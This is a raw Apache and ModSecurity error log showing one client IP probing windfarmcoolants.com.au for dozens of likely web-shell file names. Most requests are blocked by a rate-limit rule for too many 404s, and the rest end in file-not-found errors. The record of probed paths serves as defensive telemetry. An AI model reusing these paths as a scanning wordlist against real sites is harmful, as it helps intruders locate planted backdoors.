[Sun Mar 22 15:19:18.415556 2026] [:error] [pid 51468:tid 51482] [client 40.89.156.15:13670] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "ab-X9k2TppSvA8W5CBSxaQAAAMY"]
[Sun Mar 22 15:19:19.582283 2026] [:error] [pid 51362:tid 51411] [client 40.89.156.15:13349] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "ab-X98OwPm3DXzTDjUc9ogAAAEo"]
[Sun Mar 22 15:19:21.262280 2026] [:error] [pid 51362:tid 51405] [client 40.89.156.15:13351] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/erty.php"] [unique_id "ab-X-cOwPm3DXzTDjUc9qgAAAEQ"]
[Sun Mar 22 15:19:22.862654 2026] [:error] [pid 51363:tid 51430] [client 40.89.156.15:13935] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/erty.php"] [unique_id "ab-X-lwa9x6OCTRkhl0VJAAAAII"]
[Sun Mar 22 15:19:23.565608 2026] [:error] [pid 51361:tid 51383] [client 40.89.156.15:13874] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/erty.php"] [unique_id "ab-X-xXYUsdvKC9YWpWhOAAAAAw"]
[Sun Mar 22 15:19:27.243572 2026] [:error] [pid 51363:tid 51441] [client 40.89.156.15:13948] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/erty.php"] [unique_id "ab-X_1wa9x6OCTRkhl0VPAAAAIw"]
[Sun Mar 22 15:19:28.055581 2026] [:error] [pid 51468:tid 51482] [client 40.89.156.15:13831] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0.php"] [unique_id "ab-YAE2TppSvA8W5CBSxbgAAAMY"]
[Sun Mar 22 15:19:28.899352 2026] [:error] [pid 51363:tid 51453] [client 40.89.156.15:13915] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0.php"] [unique_id "ab-YAFwa9x6OCTRkhl0VSQAAAJc"]
[Sun Mar 22 15:19:30.433791 2026] [:error] [pid 51468:tid 51487] [client 40.89.156.15:13401] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0.php"] [unique_id "ab-YAk2TppSvA8W5CBSxfAAAAMs"]
[Sun Mar 22 15:19:31.514278 2026] [:error] [pid 51468:tid 51489] [client 40.89.156.15:13364] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0.php"] [unique_id "ab-YA02TppSvA8W5CBSxhAAAAM0"]
[Sun Mar 22 15:19:32.945829 2026] [:error] [pid 51468:tid 51497] [client 40.89.156.15:13429] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "ab-YBE2TppSvA8W5CBSxjAAAANU"]
[Sun Mar 22 15:19:33.785582 2026] [:error] [pid 51468:tid 51486] [client 40.89.156.15:13100] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "ab-YBU2TppSvA8W5CBSxkgAAAMo"]
[Sun Mar 22 15:19:35.571532 2026] [:error] [pid 51468:tid 51487] [client 40.89.156.15:13128] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "ab-YB02TppSvA8W5CBSxnQAAAMs"]
[Sun Mar 22 15:19:36.995875 2026] [:error] [pid 51468:tid 51491] [client 40.89.156.15:13854] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "ab-YCE2TppSvA8W5CBSxnwAAAM8"]
[Sun Mar 22 15:19:38.729749 2026] [:error] [pid 40039:tid 40062] [client 40.89.156.15:13394] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "ab-YCh3aDgUJfBYishlVoAAAARU"]
[Sun Mar 22 15:19:40.077390 2026] [:error] [pid 51363:tid 51448] [client 40.89.156.15:13919] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "ab-YDFwa9x6OCTRkhl0VTgAAAJI"]
[Sun Mar 22 15:19:41.295396 2026] [:error] [pid 51362:tid 51418] [client 40.89.156.15:13825] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "ab-YDcOwPm3DXzTDjUc9sgAAAFE"]
[Sun Mar 22 15:19:43.264882 2026] [:error] [pid 51363:tid 51440] [client 40.89.156.15:14196] File does not exist: /usr/local/apache/htdocs/suspended-page/rithin.php
[Sun Mar 22 15:19:43.507435 2026] [:error] [pid 51363:tid 51437] [client 40.89.156.15:14196] File does not exist: /usr/local/apache/htdocs/suspended-page/a5.php
[Sun Mar 22 15:19:43.746504 2026] [:error] [pid 51363:tid 51447] [client 40.89.156.15:14196] File does not exist: /usr/local/apache/htdocs/suspended-page/class.php
[Sun Mar 22 15:19:44.194522 2026] [:error] [pid 51363:tid 51431] [client 40.89.156.15:14196] File does not exist: /usr/local/apache/htdocs/suspended-page/zwq13.php
[Sun Mar 22 15:19:44.467163 2026] [:error] [pid 51363:tid 51442] [client 40.89.156.15:14196] File does not exist: /usr/local/apache/htdocs/suspended-page/aapig.php
[Sun Mar 22 15:19:44.729154 2026] [:error] [pid 51363:tid 51440] [client 40.89.156.15:14196] File does not exist: /usr/local/apache/htdocs/suspended-page/webadmin.php
[Sun Mar 22 15:19:44.969729 2026] [:error] [pid 51363:tid 51444] [client 40.89.156.15:14196] File does not exist: /usr/local/apache/htdocs/suspended-page/xc0252.php
[Sun Mar 22 15:19:45.211490 2026] [:error] [pid 51363:tid 51448] [client 40.89.156.15:14196] File does not exist: /usr/local/apache/htdocs/suspended-page/ws84.php
[Sun Mar 22 15:19:45.501843 2026] [:error] [pid 51363:tid 51454] [client 40.89.156.15:14196] File does not exist: /usr/local/apache/htdocs/suspended-page/sc.php
[Sun Mar 22 15:19:45.779428 2026] [:error] [pid 51363:tid 51432] [client 40.89.156.15:14196] File does not exist: /usr/local/apache/htdocs/suspended-page/mis.php
[Sun Mar 22 15:19:46.018337 2026] [:error] [pid 51363:tid 51428] [client 40.89.156.15:14196] File does not exist: /usr/local/apache/htdocs/suspended-page/zogy1.php
[Sun Mar 22 15:19:46.261912 2026] [:error] [pid 51363:tid 51450] [client 40.89.156.15:14196] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xvs.php"] [unique_id "ab-YElwa9x6OCTRkhl0VbwAAAJQ"]
[Sun Mar 22 15:19:46.986582 2026] [:error] [pid 51362:tid 51417] [client 40.89.156.15:13687] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xvs.php"] [unique_id "ab-YEsOwPm3DXzTDjUc9vgAAAFA"]
[Sun Mar 22 15:19:47.590970 2026] [:error] [pid 51363:tid 51448] [client 40.89.156.15:13385] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xvs.php"] [unique_id "ab-YE1wa9x6OCTRkhl0VdQAAAJI"]
[Sun Mar 22 15:19:48.330985 2026] [:error] [pid 51468:tid 51497] [client 40.89.156.15:13682] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xvs.php"] [unique_id "ab-YFE2TppSvA8W5CBSx3QAAANU"]
[Sun Mar 22 15:19:49.266678 2026] [:error] [pid 51468:tid 51490] [client 40.89.156.15:12818] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "ab-YFU2TppSvA8W5CBSx5AAAAM4"]
[Sun Mar 22 15:19:49.849134 2026] [:error] [pid 51468:tid 51495] [client 40.89.156.15:13124] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "ab-YFU2TppSvA8W5CBSx5wAAANM"]
[Sun Mar 22 15:19:50.518736 2026] [:error] [pid 51468:tid 51482] [client 40.89.156.15:13847] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "ab-YFk2TppSvA8W5CBSx6QAAAMY"]
[Sun Mar 22 15:19:51.146663 2026] [:error] [pid 40039:tid 40062] [client 40.89.156.15:13848] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "ab-YFx3aDgUJfBYishlVqAAAARU"]
[Sun Mar 22 15:19:52.080512 2026] [:error] [pid 51468:tid 51500] [client 40.89.156.15:13317] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/az.php"] [unique_id "ab-YGE2TppSvA8W5CBSx-AAAANg"]
[Sun Mar 22 15:19:52.669110 2026] [:error] [pid 51468:tid 51486] [client 40.89.156.15:13065] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/az.php"] [unique_id "ab-YGE2TppSvA8W5CBSx-wAAAMo"]
[Sun Mar 22 15:19:56.562092 2026] [:error] [pid 51363:tid 51449] [client 40.89.156.15:13428] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/az.php"] [unique_id "ab-YHFwa9x6OCTRkhl0VkAAAAJM"]
[Sun Mar 22 15:20:37.744737 2026] [:error] [pid 40039:tid 40043] [client 40.89.156.15:14204] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/web.php"] [unique_id "ab-YRR3aDgUJfBYishlV6gAAAQI"]
[Sun Mar 22 15:20:39.887162 2026] [:error] [pid 51361:tid 51376] [client 40.89.156.15:14387] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/web.php"] [unique_id "ab-YRxXYUsdvKC9YWpWhdAAAAAU"]
[Sun Mar 22 15:20:40.758334 2026] [:error] [pid 51363:tid 51443] [client 40.89.156.15:14120] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/web.php"] [unique_id "ab-YSFwa9x6OCTRkhl0WLQAAAI4"]
[Sun Mar 22 15:20:42.175369 2026] [:error] [pid 40039:tid 40041] [client 40.89.156.15:13855] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/web.php"] [unique_id "ab-YSh3aDgUJfBYishlV8gAAAQA"]
[Sun Mar 22 15:20:43.053725 2026] [:error] [pid 51362:tid 51421] [client 40.89.156.15:13678] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "ab-YS8OwPm3DXzTDjUc-SgAAAFQ"]
[Sun Mar 22 15:20:44.002986 2026] [:error] [pid 51468:tid 51485] [client 40.89.156.15:14169] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "ab-YTE2TppSvA8W5CBSyvwAAAMk"]
[Sun Mar 22 15:20:44.902384 2026] [:error] [pid 51468:tid 51477] [client 40.89.156.15:14093] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "ab-YTE2TppSvA8W5CBSyxAAAAME"]
[Sun Mar 22 15:20:45.698591 2026] [:error] [pid 51468:tid 51485] [client 40.89.156.15:13649] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "ab-YTU2TppSvA8W5CBSyxwAAAMk"]
[Sun Mar 22 15:20:46.383343 2026] [:error] [pid 51468:tid 51483] [client 40.89.156.15:14085] File does not exist: /usr/local/apache/htdocs/suspended-page/lp6.php
[Sun Mar 22 15:20:46.688449 2026] [:error] [pid 51468:tid 51492] [client 40.89.156.15:14085] File does not exist: /usr/local/apache/htdocs/suspended-page/com.php
[Sun Mar 22 15:20:46.928652 2026] [:error] [pid 51468:tid 51484] [client 40.89.156.15:14085] File does not exist: /usr/local/apache/htdocs/suspended-page/bolt.php
[Sun Mar 22 15:20:47.179829 2026] [:error] [pid 51468:tid 51485] [client 40.89.156.15:14085] File does not exist: /usr/local/apache/htdocs/suspended-page/wander.php
[Sun Mar 22 15:20:47.696809 2026] [:error] [pid 51468:tid 51483] [client 40.89.156.15:14085] File does not exist: /usr/local/apache/htdocs/suspended-page/t.php
[Sun Mar 22 15:20:47.980002 2026] [:error] [pid 51468:tid 51487] [client 40.89.156.15:14085] File does not exist: /usr/local/apache/htdocs/suspended-page/amax.php
[Sun Mar 22 15:20:48.859878 2026] [:error] [pid 51468:tid 51489] [client 40.89.156.15:14085] File does not exist: /usr/local/apache/htdocs/suspended-page/v3.php
[Sun Mar 22 15:20:49.099003 2026] [:error] [pid 51468:tid 51477] [client 40.89.156.15:14085] File does not exist: /usr/local/apache/htdocs/suspended-page/torsa1.php
[Sun Mar 22 15:20:49.359711 2026] [:error] [pid 51468:tid 51482] [client 40.89.156.15:14085] File does not exist: /usr/local/apache/htdocs/suspended-page/to.php
[Sun Mar 22 15:20:49.613138 2026] [:error] [pid 51468:tid 51483] [client 40.89.156.15:14085] File does not exist: /usr/local/apache/htdocs/suspended-page/wqqs.php
[Sun Mar 22 15:20:49.848316 2026] [:error] [pid 51468:tid 51487] [client 40.89.156.15:14085] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "ab-YUU2TppSvA8W5CBSy4QAAAMs"]
[Sun Mar 22 15:20:50.589052 2026] [:error] [pid 51468:tid 51491] [client 40.89.156.15:14150] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "ab-YUk2TppSvA8W5CBSy4gAAAM8"]
[Sun Mar 22 15:20:51.896508 2026] [:error] [pid 51361:tid 51389] [client 40.89.156.15:14149] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "ab-YUxXYUsdvKC9YWpWhfQAAABE"]
[Sun Mar 22 15:20:52.895010 2026] [:error] [pid 51468:tid 51496] [client 40.89.156.15:14651] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "ab-YVE2TppSvA8W5CBSy5QAAANQ"]
[Sun Mar 22 15:20:54.190477 2026] [:error] [pid 51468:tid 51488] [client 40.89.156.15:14665] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "ab-YVk2TppSvA8W5CBSy6gAAAMw"]
[Sun Mar 22 15:20:55.542667 2026] [:error] [pid 40039:tid 40060] [client 40.89.156.15:13946] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "ab-YVx3aDgUJfBYishlV_QAAARM"]
[Sun Mar 22 15:20:56.724350 2026] [:error] [pid 51468:tid 51497] [client 40.89.156.15:13676] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "ab-YWE2TppSvA8W5CBSy7wAAANU"]
[Sun Mar 22 15:21:02.999514 2026] [:error] [pid 51468:tid 51488] [client 40.89.156.15:14348] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "ab-YXk2TppSvA8W5CBSzDQAAAMw"]
[Sun Mar 22 15:21:04.044491 2026] [:error] [pid 51468:tid 51494] [client 40.89.156.15:14407] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aifa.php"] [unique_id "ab-YYE2TppSvA8W5CBSzEwAAANI"]
[Sun Mar 22 15:21:08.663686 2026] [:error] [pid 51362:tid 51425] [client 40.89.156.15:14663] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aifa.php"] [unique_id "ab-YZMOwPm3DXzTDjUc-WgAAAFg"]
[Sun Mar 22 15:21:09.806646 2026] [:error] [pid 51468:tid 51481] [client 40.89.156.15:13677] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aifa.php"] [unique_id "ab-YZU2TppSvA8W5CBSzLAAAAMU"]
[Sun Mar 22 15:21:12.519316 2026] [:error] [pid 51468:tid 51500] [client 40.89.156.15:14413] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aifa.php"] [unique_id "ab-YaE2TppSvA8W5CBSzOgAAANg"]
[Sun Mar 22 15:21:14.387231 2026] [:error] [pid 51468:tid 51476] [client 40.89.156.15:14676] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tool.php"] [unique_id "ab-Yak2TppSvA8W5CBSzQwAAAMA"]
